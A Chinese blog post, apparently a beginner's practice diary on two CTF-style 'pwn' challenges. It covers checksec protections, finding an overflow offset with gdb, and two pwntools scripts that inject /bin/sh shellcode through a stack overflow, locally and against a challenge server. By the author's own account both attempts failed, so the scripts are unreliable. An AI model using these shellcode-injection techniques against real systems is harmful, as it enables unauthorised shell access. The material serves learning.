pwn题目初尝试

oj pwn-bof

搭建好环境,也看了很多关于pwn的博客,就开始练练手吧,毕竟理论和实际操作还是有差别的。

知识准备

二进制保护检测工具——checksec。
里边的参数解释:

  • Arch,该项位程序的位数,显示位32位程序。
  • RELRO,RELRO会有Partial RELRO和FULL RELRO,如果开启了FULL RELRO,那么我们将无法修改got表,关于got表后面的文章遇到了再讲解。
  • Stack,栈中是否开启了Canary found,如果该项保护被打开那么我们将无法直接覆盖EIP让程序任意跳转,因为在跳转后将会进行cookie校验,该项保护是可以绕过的,遇到的时候将详细分析。
  • NX,该项表示堆栈是否可执行,如果开启了该项保护,那么我们的shellcode将不能被执行。
  • PIE,该项表示地址随机化保护,如果开启了该项那么程序每次运行的地址都会变化,如果未开启那么No PIE(0x8048000)括号内的代表程序基址。

查看rof文件信息 :file 文件名


是32位的,用IDA 32位的把文件打开

查看保护机制


没开任何保护,可以进行常规操作啦。

运行程序

把文件bof拖到Ubuntu里,在终端用命令行运行(./pwn),输入很多a,出现如下错误,说明产生了溢出。

分析代码

  1. 找offset,用gdb进行调试,查看刚好输入多少位才能覆盖返回地址。
  2. 返回地址这需要构造什么内容,如果没有保护直接写shellcode,拿到shell,如果在程序中有system,则在IDA中按Alt+T查找有没有“/bin/sh”字符串,如果有,则直接找到其地址,即可构造内容,没有则需要自己写shellcode。

我在做这道题时,进行第一步就卡住了,用gdb运行程序出错,如下

于是手动算位数,需要’a’*0x1c+’a’*4,需要32位才能刚好覆盖返回地址(这里根据在IDA看到的buf空间算出来的位数可能不对,这里先试一下。)
有了需要覆盖的内容位数,在来找shell的返回地址,看到bof中有system函数,但是没有“/bin/sh”字符串,需要构造shellcode.

脚本

1
2
3
4
5
6
7
8
9
from pwn import *
#r=remote('pwn1.blue-whale.me',9990)
r=process('./pwn')
elf=ELF('./pwn')
shellcode=asm(shellcraft.sh())
address = 0x080483F0
payload = 'a'*(32-len(shellcode))+ p32(address)+shellcode
r.send(payload)
r.interactive()

但是攻击失败。。。。。

shellcode

前面步骤同上,在此略去。

进入gdb调试

  1. 首先用cyclic命令产生长度很长的字符串,这里长度是200,可自己设置。
  2. 进入gdb调试
  3. 把上面产生的字符串输入进去
  4. 出现寄存器的内容和PC地址
  5. 查看覆盖长度

    脚本

    1
    2
    3
    4
    5
    6
    7
    8
    from pwn import *
    r = remote ("pwn1.blue-whale.me",9992)
    shellcode=asm(shellcraft.sh())
    text = r.recvline()[17: -2]
    buf_addr=int(text,16)
    payload=shellcode+'a'*(32-len(shellcode))+p32(buf_addr)
    r.send(payload)
    r.interactive()

总结

我觉得这个题出错点有二:
一是可能覆盖位数算错了
二是shellcode注入的地址有误
做pwn题还是得多练习,多找思路,多借助工具,可能事半功倍。
争取明天做出来!

今日所做

边做题边看了很多pwn的博客,还有pwn的writeup,做了第一道bof和shellcode那道,shellcode题用了题目给出的网址和端口号,可能服务器被墙了,导致连接端口失败。

文章目录
  1. 1. oj pwn-bof
    1. 1.1. 知识准备
    2. 1.2. 查看rof文件信息 :file 文件名
    3. 1.3. 查看保护机制
    4. 1.4. 运行程序
    5. 1.5. 分析代码
    6. 1.6. 脚本
  2. 2. shellcode
    1. 2.1. 进入gdb调试
    2. 2.2. 脚本
    3. 2.3. 总结
    4. 2.4. 今日所做